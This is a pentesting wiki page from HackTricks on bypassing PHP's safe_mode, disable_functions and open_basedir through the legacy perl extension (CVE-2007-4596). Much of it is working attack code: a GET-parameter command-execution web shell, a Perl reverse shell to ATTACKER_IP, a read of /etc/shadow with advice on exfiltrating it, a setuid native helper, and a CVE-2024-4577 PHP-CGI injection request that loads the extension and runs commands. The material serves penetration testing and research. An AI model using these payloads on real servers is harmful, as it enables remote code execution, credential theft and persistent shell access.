--- title: "PHP Perl Extension Safemode Bypass Exploit" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # PHP Perl Extension Safe_mode Bypass Exploit ## Background The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extension, which embeds a Perl interpreter without enforcing PHP's `safe_mode` restrictions. Perl evaluation also operates outside controls such as PHP's `disable_functions` and `open_basedir`, so a loaded extension can expose command and filesystem primitives that PHP attempted to restrict. `safe_mode` disappeared in PHP 5.4; this technique is relevant primarily to old shared-hosting installations and deliberately vulnerable labs.[[1]](#references)[[2]](#references) ## Compatibility and Packaging Status - The last PECL release (`perl-1.0.1`, 2013) declares PHP 5.0 or newer, but the package is unmaintained and its source targets the PHP 5-era Zend API. PHP 7/8 generally require an unofficial port and an exact ABI build; the version string alone does not establish compatibility.[[2]](#references) - PECL is being superseded by PIE, but legacy stacks still ship PECL/PEAR.[[4]](#references) Treat the flow below as a PHP 5 lab recipe unless a target already contains a compatible extension. ## Building a Testable Environment in 2025 - Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted). - Legacy Debian-based lab recipe (requires an archive or third-party repository that still provides PHP 5.6 packages): ```bash sudo apt install php5.6 php5.6-dev php-pear build-essential sudo pecl install perl-1.0.1 echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini sudo phpenmod perl && sudo systemctl restart apache2 ``` - During an authorized test, confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for a correctly built `perl.so` and writable **system-level** PHP configuration. The `extension` directive is `php.ini`-only and cannot be set in `.user.ini`.[[8]](#references) - Because the interpreter lives inside the PHP worker, Perl code does not need `/usr/bin/perl` or PHP process-launching functions. Operating-system permissions, mandatory access controls, and network-egress filtering still apply. ### On-host build chain with shell and compiler access If `phpize`, a compiler toolchain, Perl development headers, and shell execution are available, you can build a matching `perl.so` on the host: ```bash # grab the tarball from PECL wget https://pecl.php.net/get/perl-1.0.1.tgz tar xvf perl-1.0.1.tgz && cd perl-1.0.1 phpize ./configure --with-perl=/usr/bin/perl --with-php-config="$(command -v php-config)" make -j$(nproc) cp modules/perl.so /tmp/perl.so # loading requires a writable php.ini/scanned system INI or control of CGI arguments/service config ``` The module must match PHP's API, architecture, thread-safety mode, and linked Perl ABI. `open_basedir` is not a substitute for controlling extension loading, but an attacker still needs a configuration or process-start primitive that accepts `extension=`. The compilation flow mirrors the PHP manual for building PECL extensions.[[3]](#references)[[8]](#references) ## Original PoC (NetJackal) The original NetJackal PoC remains useful for confirming that the legacy extension responds to `eval`:[[1]](#references)[[7]](#references) ```php "; $perl->eval("system('".$_GET['cmd']."')"); echo "</textarea>"; $_GET['cmd']=htmlspecialchars($_GET['cmd']); echo "
CMD:
"; ?> ``` ## Modern Payload Enhancements ### 1. Reverse shell over TCP The embedded interpreter can load `IO::Socket` even if `/usr/bin/perl` is blocked. This provides a basic interactive shell over pipes, not a fully allocated terminal/PTY:[[2]](#references) ```php $perl = new perl(); $payload = <<<'PL' use IO::Socket::INET; my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp'); open STDIN, '<&', $c; open STDOUT, '>&', $c; open STDERR, '>&', $c; exec('/bin/sh -i'); PL; $perl->eval($payload); ``` ### 2. File-System Escape Even with `open_basedir` Perl ignores PHP’s `open_basedir`, so you can read arbitrary files: ```php $perl = new perl(); $perl->eval('open(F,"/etc/shadow") || die $!; print while ; close F;'); ``` Pipe the output through `IO::Socket::INET` or `Net::HTTP` to exfiltrate data without touching PHP-managed descriptors. ### 3. Inline native helper compilation If `Inline::C`, a compiler, writable build directories, and headers exist, Perl can compile native helpers without PHP's `ffi` or `pcntl`. This does **not** inherently escalate privileges: `setuid(0)` succeeds only if the worker already has that privilege or a separate local privilege-escalation condition exists. ```php $perl = new perl(); $perl->eval(<<<'PL' use Inline C => 'DATA'; print escalate(); __DATA__ __C__ char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; } PL ); ``` ### 4. Living-off-the-Land Enumeration Treat embedded Perl as a living-off-the-land interpreter. For example, DBI can enumerate data sources exposed by an installed MySQL driver even if PHP's `mysqli` extension is missing: ```php $perl = new perl(); $perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);'); ``` ## 2024+ Abuse: Loading `perl.so` via PHP-CGI Argument Injection (CVE-2024-4577) On vulnerable Windows installations that expose **PHP-CGI**, CVE-2024-4577 can convert a soft hyphen to a command-line hyphen under affected Windows best-fit locales, allowing injected `-d` options. If—and only if—the attacker already has an ABI-, architecture-, and thread-safety-compatible Windows Perl extension DLL, this can load it even when `dl()` is disabled and `php.ini` is read-only.[[5]](#references) * Build or upload a compatible Windows extension DLL (for example, `C:\xampp\htdocs\temp\php_perl.dll`). PECL does not provide a current drop-in DLL, making this prerequisite uncommon. * Send a single HTTP request that injects `-d extension=C:\\xampp\\htdocs\\temp\\perl.dll` and, in the same request body, a Perl-backed payload: ```http POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\php_perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim Content-Type: application/x-www-form-urlencoded Content-Length: 120 eval("system('whoami && hostname')"); ?> ``` If the DLL loads, the PHP worker embeds Perl before evaluating the request body, exposing the same out-of-policy Perl primitives. The initial fix shipped in PHP 8.1.29/8.2.20/8.3.8, and a later bypass was addressed as CVE-2024-8926 in PHP 8.1.30/8.2.24/8.3.12; defenders should run a currently supported, fully updated PHP release rather than stopping at the first fixed version.[[6]](#references)[[9]](#references) ## References - [1] [NVD - CVE-2007-4596](https://nvd.nist.gov/vuln/detail/CVE-2007-4596) - [2] [PECL perl extension package information](https://pecl.php.net/package/perl) - [3] [PHP Manual: building PECL extensions with phpize](https://www.php.net/manual/en/install.pecl.phpize.php) - [4] [PECL homepage announcing PIE replacement](https://pecl.php.net/) - [5] [CVE-2024-4577 PHP-CGI argument injection PoC](https://github.com/AlperenY-cs/CVE-2024-4577) - [6] [Plesk advisory summarizing CVE-2024-4577 impact and patched versions](https://support.plesk.com/hc/en-us/articles/24020385443351-Security-Alert-CVE-2024-4577-PHP-CGI-Argument-Injection-Vulnerability) - [7] [Exploit-DB 4314 - PHP Perl Extension Safe Mode Bypass](https://www.exploit-db.com/exploits/4314) - [8] [PHP manual - core INI directives and `extension` changeability](https://www.php.net/manual/en/ini.core.php) - [9] [PHP 8 ChangeLog - CVE-2024-4577 and CVE-2024-8926 fixes](https://www.php.net/ChangeLog-8.php)